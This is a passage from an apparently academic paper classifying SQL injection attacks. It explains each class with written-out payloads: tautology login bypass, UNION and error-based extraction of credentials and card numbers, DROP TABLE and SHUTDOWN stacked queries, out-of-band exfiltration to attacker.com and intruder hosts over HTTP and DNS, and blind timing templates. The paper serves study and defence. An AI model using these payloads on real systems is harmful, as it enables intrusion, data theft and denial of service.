The unique method presented by these SQLIA is to push the DBMS to process queries, although the
login data is invalid, this could be achieved by modifying the query in the following manner, in-
stead of proper user name the attacker types the following injection code,
for example in the input field concerning the password on a Web Site Login form:
’OR 1=1 - -

This is equal to the SQL statement, concerning the user 'admin' for example:
SELECT info FROM users WHERE login=’admin’ AND pass=’’ OR 1=1 --’
AND id=

At this point we shall give important clarifications. The writer of this paper is aware of the fact that
most of the people, working on the field of Web security are aware of these details, though the au-
thor wishes to point out these particulars, which are general knowledge and help the better under-
standing of the injection code.
Let's observe the tautology:
’OR 1=1 - -

The role of the apostrophe( quotation mark) is significant here( also see the further examples in
this paper), it closes intentionally the place-holder for the value of the 'pass' variable, see the second
example, which cheats the SQL server to accept an empty value for the regular password of the user
'admin', though the SQL server is processing further the logical expression: OR 1=1, which is valid
by default. Thus the DBMS grants the requested access.
It is also important here to mention the role of the logical operators 'AND' and 'OR'.
If the intruder uses an 'AND' in place of 'OR', this means the first term of the expression must be
true and the second term of the expression must be true, so the query can be processed, this can be
used in special cases to justify that the first term is valid for sure. If the intruder uses an 'OR' operat-
or, it is not important, whether the first term is true or false, which is actually like guessing, de facto
the emphasis of the SQL query is laying on the second term of the expression behind the 'OR' oper-
ator, see more at [26].

20

2. SQL Injection

At last, let's discuss the role of the '- -', the two hyphens. In this example it's actually related to
the commenting art in DBMS, for example:
DBMS comments
MySQL[L19] /* , # , -- -
MSSQL[L20] # , --
Oracle[L21] --
PostgreSQL[L22] --
Table 5: DBMS comments

This means, that the intruder forces the SQL Server to ignore every expression after the two hy-
phens, see next example:
SELECT info FROM users WHERE login=’’ OR 1=1 --’ AND pass=’’ AND id=

Which means that no matter what password and table 'id' element value are given in this example
the attack will be processing, because of the : OR 1=1--, expression.
Please refer for further information at ( page 550, [28]),( page 14, [29]).
How such expressions can be prevented, we shall discuss in the next section.
Now let's illustrate SQLIA attacks, concerning evading detection as attacker's intent.

Alternate Encodings

The utilization of this subclass SQLIA can be illustrated on the next example, which the intruder
can type in the input field referring the user name again in a Web Site Login page for
an instance, [27]:
legalUser’; exec(char(0x73687574646f776e) - -

And according to, this the SQL query produces the command line, see [27]:
SELECT info FROM userTable WHERE login=’legalUser’
; exec(char(0x73687574646f776e) --’ AND pass=’’ AND pin=

The alternate encoding SQLIA is represented by the usage of the string: 0x73687574646f776e,
which should be interpreted by the SQL server after applying the SQL functions 'char()' and 'exec()'
as 'SHUTDOWN'. This leads consequently to the shutting down of the SQL Server and utilizes a

21

2. SQL Injection

DoS attack on the DBMS. The reader concerned will notice here once again the usage of Stacked
Queries, which must be read as: after successfully completing the first operation, proceed on the
second one, that's why, demonstrated in this example, it is required that the intruder must be aware
of a legal user name on the DBMS to accomplish the injection.

Illegal/ Logically Incorrect Queries

This Classic SQLIA utilizes the identifying of injectable parameters on the DBMS, supports DB
Fingerprinting SQLIA and consequently data extraction from the compromised SQL Server.
Let's introduce an example, see further [27]:
SELECT accounts FROM users WHERE login=' ' AND pass=' ' AND pin=
convert (int, (select top 1 name from sysobjects where xtype='u'))

This query construct demonstrates a conditional SELECT statement, whereby the suffix of the
WHERE statement is organized as follows: the login variable should be empty AND the password
value should be empty AND the pin value is represented as another query, which is at first glance
confusing. Let's explain the SQL Basics. Everything concerning SQL can be represented as a query
and everything in a particular query can be transformed in another query, as ( page 55, [26]).
Further, the value of the pin variable shall be interpreted as follows. The injection compromises a
MSSQL DBMS, exploiting the system table 'sysobjects'. The SQL Server is forced to extract the
first user table, see the conditional criterion, xtype='u'. As next the injection query tries to convert
the result into an integer, but as the result should be a table name, this operation is illegal for the
DBMS, that's why the SQL Server throws out an error exception as follows,[27]:
“Microsoft OLE DB Provider for SQL Server (0x80040E07) Error converting nvarchar value
'CreditCards' to a column of data type int.”

Let's observe this error message in detail. It states that the SQL server is a MSSQL DBMS and
further more that, the first user table is 'CreditCards' revealed by the usage of the second SELECT
statement. This illustrates the meaning of the Illegal/ Logically Incorrect Queries SQLIA: on one
hand to probe the DBMS, whether it is SQLIA prone, on another to support the further execution of
SQL Injection attacking scenario. Such approaches will be better illustrated in detail in the part of
this section concerning the DB Mapping SQLIA. Note that, another approach to force the SQL
Server to throw out error exceptions and support further deployment of the DBMS compromising is

22

2. SQL Injection

described in the part regarding the Inference SQLIA, where the reader will find more information
on the topic: Totally/ Completely Blind SQL Injection attacks.
Let's introduce another Classic SQLIA representing a way to extract sensitive data and also to
bypass Server authentication.

UNION QUERY

The construct of this attack is organized as follows: prefix as <first SELECT statement>UNION
statement<second SELECT statement> as suffix. The concatenation element in this construct, UNI-
ON statement, is originally defined in SQL to combine two separate SELECT statements. Though
this opportunity is exploited by attackers to induce the DBMS to return data from a different table,
instead of those one, which is specified by the developer concerning the specific input field in a
Web Application for an instance.
Further more, the attacker controls completely the second statement, represented as a UNION
suffix. As a result the DBMS produces an HTML output dataset, which relies to the prefix and the
suffix of the UNION construct.
Let's illustrate this on an example, please refer to [27]:
SELECT accounts FROM users WHERE login=' ' UNION
SELECT cardNo from CreditCards WHERE accNo=10032 – AND pass=' ' AND pin=

The reader concerned will recognize the revealed user table 'CreditCards' from the previous ex-
ample. This illustrates again the supportive usage of Illegal/Logically Incorrect Queries SQLIA as
described above. The UNION prefix demonstrates a conditional SELECT statement, which will
output an empty result, because of the absence of empty user on the DBMS. This is useful for the
intruder, because thus the HTML output will represent only the result of the second SELECT state-
ment, which compromise and extract user information from the table 'CreditCards' related to ac-
count number “10032”, as supposed in this example.
For more detailed information, please refer to ( page 550, [28]) and ( page 53, [26]).
The next Classic SQLIA concerns another approach to induce DoS attacks on DBMSes, further
more executing remote commands on the compromised SQL server and to perform privilege escala-
tion.

23

2. SQL Injection

Stored Procedures

Let's clarify the meaning of the term Stored procedures. As the name reveals, the meaning of
such procedures, which come out-of-the-box with the DBMS, assembled as a backend to the Web
Application, is to extend the SQL Server functionality, in terms of better interacting with the Web
Server for an instance, it is related to. This is a standard set of functions ready for use and stored in
the specific DBMS. This is not an accurate declaration, because a procedure can return one result,
more than one, or may not return any result, as distinct from that a function is obliged to return a
result.
This could be used by the attacker to achieve DoS attacks on the compromised SQL Server and
execute remote commands as well.
Note, that some sources motivate developers to use Stored Procedures stating they are not prone
to SQLIA. Let's illustrate the opposite on an example, see original sample code at [28]:
CREATE PROCEDURE searchuser @criterion varchar(400) = NULL
AS
DECLARE @query nvarchar(4000)
SET @query = 'SELECT id, name, password FROM users
WHERE name LIKE ' ' ' + @criterion + ' ' ' '
EXEC (@query)

This example illustrates an MSSQL DBMS realted Stored Procedure.
Let's demonstrate the compromising of such a construct, modified from the sample at [28]:
SELECT id, firstname, familyname, birthdate FROM searchuser
WHERE familyname LIKE '1' OR 1 = 1 --'

The reader can easily recognize the Tautology SQLIA technique implemented in the Stored Pro-
cedure attack. Furthermore this injection could be altered to meet an command execution intent as
well, from [28]:
SELECT id, firstname, familyname, birthdate FROM searchuser
WHERE familyname LIKE '1' OR 1 = 1; DROP TABLE searchuser--'

This example demonstrates the usage of a Tautology SQLIA, combined witch a Stacked Query
in the construct of Stored Procedures SQLIA. Note that the Stacked Query is working because of
the MSSQL DBMS.
The interested reader can learn more about Running OS Commands using SQLIA at ( page 115,

24

2. SQL Injection

[26]); File System Access at ( page 103, [26]) and in general on Stored Procedures SQL Injection
Attacks at ( page 544, [28]) and [27].
The following SQLIA subclass is another approach to extract sensitive data from DBMS and
identify injectable parameters, furthermore it will illustrate scenarios, concerning attackers' intent,
which isn't discussed heretofore- determining the art of drilling sensitive data out of the comprom-
ised DBMS.
It is important here to mention, that there is also another criterion the SQLIA should be classi-
fied into ,regarding the Data-Mining26 aspect of SQL Injection attacks, see [36][37]:
• inband SQLIA,
• out-of-band SQLIA and
• inference SQLIA
Most of the attacks in the classification given above, see Table 4, are inband attacks, which
means that the intruder and victim are using the same channel. On the contrary, there are SQL injec-
tion attacks, which are classified as out-of-band Channeling SQLIA.

Out-Of-Band Channeling( OOB Channeling SQLIA)

This is the second sub2class of SQL Injection attacks beside the formerly introduced Classic Inband
SQLIA and the Inference SQL Injection attacks, which shall be discussed straight after the OOB at-
tack. In addition to this, the Out-Of-Band SQLIA describes another method, in some cases more ef-
fective, for drilling data between the intruder and the victim, see [36][37].
Let's illustrate this on some examples, refer to [28]:
UTL_HTTP.REQUEST('http://www.attacker.com/log.php?data=' ||
(SELECT name || ':' || password FROM users WHERE rownum < 2))

We introduce here the Oracle package UTL_HTTP and in this example the function REQUEST,
which allows us to send HTTP request using an SQL statement and further more send the SQL
query data directly to a specific URL. As a result the intruder can generate the following HTTP-
GET-Request, see [28]:
http://www.attacker.com/log.php?data=Rainers:pass123

It is obvious how easy such data can be further manipulated.
26 http://en.wikipedia.org/wiki/Data-mining

25

2. SQL Injection

Moreover this method can be used for starting further injection attacks using the compromised
DBMS server as a proxy for SQLIA.
Another example for Out-Of-Band SQLIA is the use of the OPENROWSET function. Such attack
is still working, as [28], in older MSSQL DBMS versions:
INSERT INTO OPENROWSET('SQLOLEDB',
'uid=Reiners;
pwd=pass123;
Network=DBMSSOCN;
Address=database.intruder.de,80',
'SELECT * FROM users')
SELECT * FROM users

As we can see, the intruder is using the first INSERT statement to storage the data on his own serv-
er; the second SELECT statement after the INSERT statement defines, where to copy the data from.
The last interesting example for Out-Of-Band Channeling SQLIA, described in this paper, is pro-
posed by Patrik Karlsson on DefCon27 15, 2007[L40][40].
1 UNION SELECT UTL_INADDR.get_host_address(
(SELECT lower(password) FROM users WHERE rownum < 2) ||
'.attacker.com'),
null FROM dual

The goal of this injection is to drill data over DNS 28. The compromised data from the DBMS is
wrapped up in a form of a Subdomain, which sends a DNS Request to the attacker's Domain fur-
ther:
pass123.attacker.com

After all, such Domain name construct can be easily evaluated for extracting the valuable stolen in-
formation. To avoid out-of-range issues, concerning the length of a such construct, the intruder can
simulate more than one event for building more than one Subdomain and thus very skilful send the
important information in pieces to his own Domain.
The more concerning the issue regarding such attacks is, DNS-Requests are difficult to be filtered
and blocked by Firewalls/ Web Application Firewalls 29( WAFs) as default. The WAFs will be men-
tioned further in the next section, SQL Injection prevention trends and methods.
The OOB Channeling attack is well suitable to obtain reasonable amount of information from the
27 http://en.wikipedia.org/wiki/DEF_CON , http://www.defcon.org/
28 http://en.wikipedia.org/wiki/Domain_Name_System
29 http://de.wikipedia.org/wiki/Web_Application_Firewall

26

2. SQL Injection

prone DBMS with less request( or better per request), which is very useful, concerning a successful
attacking scenario, see [L40] and [40], though such kind of attacking technique could not be con-
sidered as efficient after all[L46].
Another approach for obtaining information on behalf of optimisation in the amount of DB requests
shall be discussed later on in the paper, concerning the Deep Blind SQL Injection attacks.
Both of the attacks: OOB Channeling SQLIA and Deep Blind SQLIA, represent methods for
drilling data with less requests, though they are quite different in their execution scenario. For ob-
taining more information on Deep Blind SQLIA, please consider further reading of the paper.
Additional information regarding Out-Of-Band Channeling SQLIA could be found also at ( page
542, [28]).
Now let's illustrate the Inference SQLIA subclass hierarchy on some examples.

Inference SQLIA

As a requirement for the deployment of such attacking method is the fact that describes an at-
tacking environment well hardened and restricted for error reporting. Thus the attacker is forced,
due to the lack of immediate feedback, to guess the different parameters of the DBMS, which he
tries to exploit. There are a couple of strategies, which the intruder can apply in the matter of suc-
cessful deploying of this subclass of SQLIA.
We shall mention only some of them and give references on further examples.
Halfond and colleagues categorize this SQLIA subclass in the following sub2classes: Blind SQL In-
jection attacks and Timing-Attacks. We shall reclassify this categorization as follows. We shall
define the sub2class of Classic Inference SQLIA attacks, where further we shall group the two sub-
3classes: Conditional Responses and Conditional Errors. As another sub2class of the Inference
SQLIA, we shall introduce the Blind SQLIA or Timing Attacks. As sub3classes we specify the
Benchmark SQLIA or Time-Delay SQLIA( Double Blind SQLIA[38][39], the name is originally
introduced by Mr. Dmitri Evteev30) and Deep Blind SQLIA, as newest aspect of the SQLIA vector
introduced in 2009[40].
As an Attack Intent of the Inference SQLIA we shall mention: Identifying injectable parameters,
Extracting data, Determining database schema; see [27].

30 Dmitry Evteev (Positive Technologies)
Web Application Security Consortium (WASC) Contributor [L24]

27

2. SQL Injection

Classic Inference SQLIA
Conditional responses

We shall observe the following two queries, see[27]:

SELECT accounts FROM users WHERE login=’legalUser’
and 1=0 -- ’ AND pass=’’ AND pin=0

The SELECT statement is specified by the condition WHERE, so the query will return, if prop-
erly implemented, all accounts entries from the table users with the conditional parameters: name of
the user, respective his password and pin with value 0.
Observing the injection conditional parameter ' and 1=0 -- ' ', we consider that it shall return an
error message, because it is false as default. Further more the additional parameters are commented
and the query is forced to close by the injection intentional apostrophe( see above marked in grey).
We observe the following scenarios: if the DBMS is working properly, it will return an error re-
sponse, because of the condition 1=0, which is false by default; in the opposite case, DBMS is not
working properly- it is SQLIA prone; the DBMS, exposed to such Blind SQLIA, will return also an
error message. The intruder cannot anticipate, at this stage of the attack, whether the DBMS is
prone to the attack or not. That's why the attacker performs the second query with the condition
' and 1=1 - - ' ', which is true by default. Though, if the application works properly, it will re-
spond with another error message , because the conditions ' login=’legalUser’ and 1=1 -- ’' are not
adequate, if the DBMS is SQLIA prone it shall return instead of an expected error message the
query result.
For more information on this attack, please refer to ( page 537, [28]).

Conditional Errors

Another Description name of this SQLIA sub3class is Totally Blind SQL Injections, see [28]. The
intruder experiences difficulties for injecting code in to the victim DBMS, because of the lack of
query result, so the intruder will work in a word ' totally blind'.
Useful technique that come in help is the CASE WHEN- condition, see [28]:

28

2. SQL Injection

SELECT ( CASE WHEN 1=1 THEN 1 ELSE 0 END)
SELECT ( CASE WHEN 1=2 THEN 1 ELSE 0 END)

The second SELECT statement represents the case as the result is obvious Null; some databases
like Oracle, PostgreSQL and previous versions of MSSQL will return an error message, if there is a
division by zero, as we use the result of the second SELECT statement further in a such mathemat-
ical operation.
Let's extend this case study [28]:
1 UNION SELECT (CASE WHEN (substr(user, 1, 1)='r' THEN CAST( 1/0 AS char) ELSE 'false'
END), null --

The Motivation in this injection is to guess the first letter in the user's name. If the guess is lucky
then the DBMS is forced to do a division by zero, which shall throw out the error message and it
will be a proof for a working injection, in the other case the 'false'- message will appear.
The use of the UNION for executing the second SELECT statement is important here, more on
the UNION statement in the UNION SQLIA part in this section.
If the DBMS is a MSSQL Server 2005 or a MySQL 5 and above, the division by zero will be a
worthless try, that's why the intruder must refine the injection as follows [28]:
1 UNION SELECT (CASE WHEN (substr(user, 1, 1)='r' THEN CAST( 1/0 AS char) ELSE 'false'
END), null –
/* in to */
1 UNION SELECT (CASE WHEN (substr(user, 1, 1)='r' THEN (SELECT table_name FROM
information_schema.tables) ELSE 'false' END), null –

The CAST statement is replaced by (SELECT table_name FROM
information_schema.tables), which will force the DBMS to throw an error message, because it can-
not be SELECT- ed after THEN statement.
Please, refer further to ( page 538, [28]).

Blind SQLIA or Timing attacks( Timing SQLIA)
Double Blind SQL Injection or Time-Delay SQLIA/ Benchmark SQLIA

Another interesting sub2class of Inference SQL Injection attacks represent the Blind SQLIA or
Timing SQLIA. As already mentioned, the name of this sub2class, concerning the attack's classific-

29

2. SQL Injection

ation proposed in this section, is adopted from Dmitri Evteev's SQLIA categorization[38][39].
Among the Classic Inference SQL Injection attacking techniques we have already introduced the
Totally Blind SQLIA and the Conditional Responses, though there are cases, which do not respond
to these Inference SQLIA techniques at all.
In such cases, we shall call the working scenarios completely blind [41], because of the lack of
any kind of error messages on the server's part and the fact that the attacker cannot indicate any
visual responses about such error messages from DBMS, thus the intruder needs another method to
compromise information on the victim's SQL System. The attacker uses separate functions concern-
ing the DBMS, which execution could be time consuming.
Let's introduce first the Benchmark SQL Injection attacks or Time-Delay SQLIA sub3class. If
the DBMS is responding to such attacks, it will respond to the intruder's query with a time delay, in
other case the System will proceed working properly.
Observing such intentional time delays on the DBMS the attacker can decide whether the attack-
ing technique is applicable or not and how to proceed with the attack execution scenario.
Such separate RDMBS functions are 'waitfor delay' and 'benchmark'; 'pg_sleep' referable to Post-
greSQL, but the 'DBMS_LOCK.SLEEP', which intent is originally concerning time-delays of
DBMS, that cannot be applied in Time-Delay SQLIA.
Let's illustrate all this on some examples.
1 UNION SELECT (CASE WHEN (substr(version (), 1, 1) = 4) THEN benchmark(
500000,md5('test')) ELSE 'false' END) , null

In this example, see [28], the intruder use UNION SQLIA technique to apply the second 31 SE-
LECT statement. The statement is build on CASE WHEN construct- if the injection string
' (substr(version (), 1, 1) = 4) ' can apply to the DBMS then execute the
'benchmark( 500000,md5('test'))', which will cause the system to hash 5.10 5 -times the string 'test'
and thus induce a time-delay.
Let's give another example illustrating the use of Stacked queries and 'waitfor delay' particular
function, refer to [28]:
1; IF (substring(current_user,1,1='r') waitfor delay '0:0:5'

In this example is used IF ELSE construct, which is used for constructing the condition on guess-
31 In this and other examples the reader will notice a construct like 1 UNION SELECT, 1 is meant for the first regular
SELECT statement as a UNION prefix and the second SELECT statement carries the injection code, which is
actually the second SELECT statement as a UNION suffix in the given SQL query

30

2. SQL Injection

ing the first letter of the user's name, if the hit is true then the injection will force the DBMS to wait
for a time interval of 5 seconds. The intruder can carry on in this manner and guess the whole user's
name and so on.
The last example concerning the Inference Timing attacks will illustrate the use of the particular
PostgreSQL function 'pg_sleep', see [28]:
1 UNION SELECT (CASE WHEN (substr(user,1,1) = 'R') THEN CAST( pg_sleep(5) as CHAR)
ELSE 'false' END) , null --

or the same injection can be produced in independent SQL-syntax, using Stacked queries,
see [28]:
1 ; SELECT (CASE WHEN (substr(user,1,1) = 'R')
THEN pg_sleep(5)
ELSE 'false' END) --

For the reader concerned, please refer further to ( page 540, [28])[27]( page 102, [26]).
The attentive reader can state that such Inference attacking techniques of Completely Blind
SQLIA can produce many requests by the server, which can be easily detected by the concerned
system administrator, or IDS and is also time consuming as an algorithm, which cannot consider a
rapid feedback to the intruder, [L46]. Further, knowing that, the OOB Channeling SQLIA can
achieve very efficient data drilling, brings more confusion on the topic, whether such Completely
Blind Techniques are reasonable, concerning the Performance aspect of the attacks deployment at
all.
This lead us in our discussion on the Inference SQLIA to the observation of the second repres-
entative of the Timing SQLIA and the last sub3class of Inference SQL Injection attacks in the pro-
posed classification in this section.

Deep Blind SQL Injection Attacks

The attacking technique is proposed by Ferruh Mavituna 32 in 2008 [L26]. This sub3class of
SQLIA updates the SQL Injection classification given by Halfond et al., 2006, in the following as-
pect- the attack demonstrates an optimized method for automated inducing time-delays on the vic-
tim's server, using multiple statements injection, which extends the already known Inference SQLIA
techniques. Let's take a closer look at this attack.
32 OWASP, SecurityFocus conributor, http://labs.portcullis.co.uk/tag/mainpage/

31

2. SQL Injection

In the discussion on the Time-delays SQLIA we introduce the particular functions for extracting
sensitive data from the victim's DBMS and the conditional constructs concerning their usage 33, let's
summarize the attacking scenario, see [41]:
• the data is read bit by bit, see examples above
• the main algorithm, applied, is binary search with character patterns
Regarding the Client-Server model, the limitation is: one request- one response, see [41],
and the average effort for extracting each character is approx. six requests to the victim's server.
Ferruh Mavituna finds a way to reduce this effort with a 66%, concerning the number of the re-
quests to the server, by minimizing their average amount from 6 to 2 requests. The author of the
Deep Blind SQLIA states that the algorithm is proven on MSSQL DBMS and could also work on
other relational Database Management Systems, as [L25][42], there are templates for all main
DBMSes: Oracle, MySQL, MSSQL, PostgreSQL and also for the non-relational DBMS MS AC-
CESS, concerning the related tool, which implements Deep Blind SQLIA: BSQL Hacker, [L25].
The main feature in this attacking technique is to retrieve more than one response per request.
We can describe this as a multiple statements SQLIA, which represents a new tendency in the SQL
Injection attacking manner. Most of the tools concerning SQL Injection attacks cannot implement
still this technique, see further in section 2.4.
Let's describe the scenario of this new attacking method more detailed.
The intruder tries to guess a character byte-wise. Let's say the first half byte of this character is 6,
using the Deep Blind SQLIA the server is forced in this case to wait for 12 seconds. Regarding the
guessing of the second half byte, if it is a 1, the server will wait for 2 seconds. By a reasonable log -
ging of this attacking results and dividing the response times by two concerning this particular ex-
ample, the attacker can gain the actual values of the character half bytes and thus construct the first
letter of the string, 0x61- this is corresponding to an 'a'-character. This character extraction is
achieved in 2 server responses.
Now let's unveil the limitations of this attacking technique:
• the algorithm is clearly not suitable for manual attacks
• the attacking method is unstable in slow connection environments or environments with un-
predictable server response times
• for stability of the results, should be required timeouts approx. 60 seconds, which is longer
than the timeouts for a normal client-server environment34

33 In the mean of the usage of the demonstrated particular DBMS functions
34 By default most of the database connection layers and execution of server-side scripts have timeout limits of 30

32

2. SQL Injection

Let's illustrate this by the following construct, see [41]:
DECLARE @x as int;
DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} as
varbinary(8000))),{POSITION},1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*{SECONDS} as char);
WAITFOR DELAY @w

Where:
• {QUERY} concerns the extraction data, it could be a variable value like
legalUSER , function like DB_ID(N'AdventureWorks')35, or a SELECT statement, which re-
trieves as a result the content of one row and one column;
• {POSITION} implements the half byte, which should be retrieved
• {SECONDS} represents the wait time multiplier
Note that to eliminate the '0x'- prefix from the SQL server responses, the intruder should add 2 to
the {POSITION} value. Regarding the waiting time format in {SECONDS}, it can be converted in
milliseconds using the particular DBMS function 'waitfor delay'.
Now let's illustrate this construct on an example:
DECLARE @x as int;
DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} as
varbinary(8000))),{POSITION},1));
SET @w='0:0:'+CAST(((@x+((@x&79)/8)+(@x/64)&15)*2) as char);
WAITFOR DELAY @w

Please, refer for more information to [41][L25].
Knowing the fact that, the most attacking techniques described heretofore in this paper are ap-
plicable for the different Database Management Systems despite the fact that, the DBMSes vary in
the syntax and capabilities aspects, we like to introduce SQL Injection attacks concerning cases, in
which the attacker even does not have information regarding the environment he attends to attack,
this means the intruder does not know, or does not know for sure the type of the DBMS as a product
line36 and its version, nor the DBMS implemented structure- amount of columns, column-identifier-
s37etc.

seconds, see [41]
35 http://msdn.microsoft.com/de-de/library/ms186274.aspx
36 http://en.wikipedia.org/wiki/List_of_relational_database_management_systems
37 http://en.wikipedia.org/wiki/Column-oriented_DBMS

33

2. SQL Injection

In such cases he needs specific preparation to be implemented for the successful deployment of the
commemorated attacking scenario, or even for the successful deployment of a totally new attacking
approach, evoked by the results of this preparation.
Let's introduce, consequently to this, the next worthwhile SQLIA subclass.
We shall adopt the name of these specific SQL injection attacks, concerning the proposed SQLIA
specification in this paper, from [28].

DBMS specific SQLIA

Let's introduce at first a representative of this SQL Injection subclass responsible for comprom-
ising the product line and version of a specific DBMS.

DB Fingerprinting SQL Injection attacks

There are two approaches in general to achieve the task of compromising the line and version of
DBMS: forcing the DBMS to produce error messages and using particular DBMS functions as fol-
lows, see ( page 547, [28]):
DBMS Syntax Result, as an example
MySQL SELECT version() 4.1.20-nt-log( Windows)
SELECT @@version 4.1.20-log(Linux)
MSSQL SELECT @@version Microsoft SQL Server 2005-
9.00.3042.00...
Oracle SELECT banner FROM v$version Oracle Database 10g Express Edition...
PostgreSQL SELECT version() PostgreSQL 8.3.3, compiled by...
Table 6: Compromising the DB version , see further [28]

As compared with the previously described Inference SQLIA techniques, this attacking method
presents optimized approach in the timing aspect concerning character extracting working com-
pletely blind.
The different DBMSes require different syntax in the aspect of strings concatenation,
see further [28]:

34

2. SQL Injection

DBMS Syntax, as an example Result
MySQL SELECT 'a' 'b' 'ab'
MSSQL SELECT 'a' + 'b' 'ab'
Oracle SELECT 'a' || null FROM dual 'a'
PostgreSQL SELECT 'a' || null null
Table 7: DB Fingerprintig,[28]

Please, note the difference in the results represented in this Table 7 between the Oracle and Post-
greSQL syntax.
The importance of knowing the techniques for string concatenation explains the approach to
combine two or more operands in a UNION suffix, which concedes a way to address more DB-
columns than the listed in the SELECT statement in the prefix of the UNION injection construct.
Another approach extending the usage of string concatenation is the utilization of the particular
Oracle and MySQL function 'concat()', see original example at [28]:
SELECT name FROM users WHERE id = 1 and 1 = 0 UNION
SELECT concat( name, ':' , password) FROM users

The reader concerned can find more information on this topic at ( page 548, [28]).
The next logical step in the progress of the attack's deployment concerns the methods for reveal-
ing the structure of the DBMS.

DB Mapping

Perhaps one of the most interesting approaches concerning the difficult task of revealing the
DBMS structure, represents the DB Mapping SQLIA sub2class.
It is important to introduce this attacking technique for the matter of a reasonable investigation
concerning the structure of such attacking scenario and the plasticity in the aspiration to adapt such
attacking approach, concerning the specific DBMS, in an optimal manner. The clever intruder in-
dents not only to attack successfully the DBMS and to compromise sensitive data on the victim's
system, but to minimize the attacking requests and to avoid randomization of the attacking effort, to
optimize the execution of the attacking scenario in the time aspect and to inhibit the successful tra-
cing of the applied intrusion approach as much as possible as well.

35

2. SQL Injection

Note that the intruder can apply one or more SQLIA attacking techniques, already represented in
the paper, to implement the structure of the DB Mapping.
Let's represent the essential steps in the deployment of the current SQLIA attacking method.
The first step is to analyse the query, which will help the intruder to frame the construct of an op-
timized injection, see [28]:
http://www.news.info/news.php?id=37'

Possible error responses could be produced by the different DBMS product lines, see the next ex-
ample Table 8, [28]:
DBMS Error messages38
MySQL Query failed: You have an error on your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near ''' at line 20
MSSQL Unclosed quotation mark after the character string ''.
Oracle ORA-01756: quoted string nt properly implemented
PostgreSQL ERROR: unterminated quoted string at or near “ ' “ at character 37
Table 8: DBMS produces error messages caused by
unclosed quotation mark( apostrophe),[28]

Note that the intruder uses Conditional Responses SQLIA at this point. This assures, that the
DBMS is SQLIA prone. As next the attacker tries to determine the amount of the columns related to
the table, which is intended to be compromised. This can be achieved using the next Classic SQLIA
technique based on UNION attacks, refer to [28]:
http://www.news.info/news.php?id=37 UNION SELECT null/*

The DBMS will produce an error message, which indicates that there are more than one columns
in the table. The intruder can proceed applying 'null' elements in the UNION suffix SELECT state-
ment and thus guess the exact number of the table columns. Note that the attacker can optimize this
null-elements concatenation to reduce the guessing effort.
To achieve this the intruder can apply bounds shrinking methods using the 'ORDER BY' SQL
statement as follows, [28]:
/* determining the lower bound*/
http://www.news.info/news.php?id=37 ORDER BY 3--

38 line and character numbers are example-related here

36

2. SQL Injection

/* determining the upper bound*/
http://www.news.info/news.php?id=37 ORDER BY 6--

If the server do not produce an error message again, the exact number of the table columns is
identified. Let's assume the table has 4 columns for example.
As next the attacker tries to reveal the column-identifiers, proceeding with a further UNION
SQLIA, [28]:
http://www.news.info/news.php?id=37 UNION SELECT 'test',null,null,null --

Note that 'null' can replace the value of a column element no matter the defined variable type of
the column-identifier is, though 'test' is from a string type and most probably this should force the
server to produce an error message, because of a variable type conflict, knowing that every table has
an 'id' column-identifier from an integer type. An exception to this rule is the MySQL DBMS,
which does not control the strict concatenation of column-identifier types. Repeating the UNION
injection technique, [28]:
http://www.news.info/news.php?id=37 UNION SELECT 1, 'test',null,null --

The intruder proceed until all column- identifier types are revealed, keeping in mind the fact that
the sever will not produce an error message at a successful guess.
Assuming the attacker has determined exactly the column-identifier types, the following injec-
tion query should produce a proper HTML-output, see original example at [28]:
http://www.news.info/news.php?id=37 AND 1=0 UNION
SELECT 1,'you','are','compromised' --

Note that 'AND 1=0' will suppress any output from a SELECT statement as a UNION prefix.
Further more, the columns addressed by 'you','are' and 'compromised' represent those, which data
will be extracted from.
The next step describes the part, where the intruder proceeds DB specific.

MySQL Mapping

As next the intruder tries to determine the DBMS version, applying the partcular MySQL func-
tion 'version()' or using '@@version', [28]:

37

2. SQL Injection

37 AND 1=0 UNION SELECT null, @@version, null, null --

Further more , the attacker tries to reveal more information regarding the DBMS configuration
using the particular function 'information_schema()' concerning MySQL version 5.1.12 and
above, [28]:
37 AND 1=0 UNION SELECT null, table_name, null, null FROM
information_schema.tables WHERE version = 9 /*

Note that 'version = 9' does not respond to the DBMS version, this helps the intruder to determ-
ine, whether he is attacking a system table or a user table.
To reveal the column-identifier the attacker can utilize the particular function
'information_schema.columns', [28]:
37 AND 1=0 UNION SELECT null, column_name, null, null FROM
information_schema.columns WHERE table_name = 'users'/*

Thus the intruder identifies every column-identifier belonging to the attacked table. Achieving
this the attacker can proceed with the data extraction from the compromised table, as illustrated
in [28]:
37 AND 1=0 UNION SELECT null, name, password, null FROM users /*

MySQL DBMS does not respond to stacked queries implemented in scripts.
Regarding the MSSQL version 7.0 and above Mapping we shall mention that the intruder can
follow an analogue scenario like the MySQL Mapping.

Oracle Mapping

It is important here to note, that the intruder can only apply successfully a UNION technique, if
the second SELECT statement addresses a table name explicit in the injection query. If the exact
table-identifier is still unknown, a dummy table name could e used as well, [28]:
37 AND 1=0 UNION SELECT null, null, null, null FROM dual --

To retrieve the real table name the attacker must compromise the Oracle system table 'all_tables'.
Working in an optimized manner the intruder should apply an adequate filter for refining the search.
For an instance, if the attacker intends to compromise the table collecting the user data, he could try

38

2. SQL Injection

firstly to reveal the user name responsible for the Web-Application login to the DBMS at the time of
the attack, see [28]:
37 AND 1=0 UNION SELECT null, user, null, null FROM dual --

If this requirement is fulfilled, the intruder can proceed with the compromising of all table names
containing the revealed user name, for example 'LEGALUSER', refer to original example in [28]:
37 AND 1=0 UNION SELECT null, table_name, null, null FROM all_tables
WHERE owner = 'LEGALUSER' --

Note that ORACE DBMS requires all values in system tables to be in capital letters.
Other interesting system tables for the attacker could be: sys.tab( column 'tname'),
sys.user_tables( column 'table_name'), sys.user_catalog( column 'table_name') etc, which represent
linked tables to the compromised user name, here 'LEGALUSER'.
If the intruder reveals the table name collecting the user data, let's assume the table name is
'users', he proceeds detecting the column-identifiers to extract the sensitive data. To achieve this he
tries to extract the column-identifiers names related to the table 'users' from the linked system
tables: all_tab_columns, all_tab_cols, or sys.user_tab_columns, using as filter criterion the name of
the compromised table collecting the user data,which is 'users' in this example, see [28]:
37 AND 1=0 UNION SELECT null, column_name, null, null FROM all_tab_columns
